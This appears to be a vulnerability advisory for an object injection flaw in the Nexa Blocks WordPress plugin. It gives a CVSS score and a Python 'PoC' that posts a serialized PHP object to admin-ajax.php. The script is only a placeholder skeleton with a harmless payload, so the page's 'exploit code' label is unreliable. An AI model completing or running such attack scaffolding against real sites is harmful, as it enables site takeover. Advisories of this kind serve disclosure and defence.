Deserialization of Untrusted Data vulnerability in wpdive Nexa Blocks nexa-blocks allows Object Injection.This issue affects Nexa Blocks: from n/a through <= 1.1.1.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Nexa Blocks <= 1.1.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Example)
target_url = "http://target.com/wp-admin/admin-ajax.php"
# Malicious serialized payload placeholder
# In a real scenario, this would be a serialized PHP object
# designed to trigger a gadget chain (e.g., __destruct)
payload = "O:8:\"stdClass\":1:{s:3:\"foo\";s:3:\"bar\";}"
data = {
"action": "vulnerable_action", # Replace with actual parameter
"data": payload
}
try:
response = requests.post(target_url, data=data)
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
except Exception as e:
print(f"Error: {e}")